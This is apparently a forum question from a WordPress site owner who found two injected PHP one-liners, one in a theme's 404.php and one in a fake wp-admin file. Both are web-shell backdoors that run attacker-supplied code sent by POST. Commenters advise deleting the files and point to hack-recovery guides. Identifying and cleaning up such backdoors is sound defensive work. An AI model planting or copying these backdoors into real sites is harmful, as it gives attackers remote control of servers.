Hi I found two suspicious files on my site:
The first in my theme (
404.php
), with this line added<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>
The second in
/wp-admin/
calledwp-class.php
.The only line there was:
<?eval($_POST[joao]);?>
Can anyone tell me what are this doing, and what steps should I take ?
/wp-admin/wp-class.php
is not a WP-core file. Delete those files. Have a look at FAQ | My site was hacked and Verifying that I have fully removed a WordPress hack. – Johannes Pille Apr 13 '13 at 17:51eval
andbase64_decode
functions do?" Under that light, it isn't off-topic because it's about the recovery from a hack, I'll give you that, but it instantly becomes off-topic due to it being a pure PHP question. Agree to disagree, I guess. (sidenote: +1 anyway) – Johannes Pille Apr 13 '13 at 21:24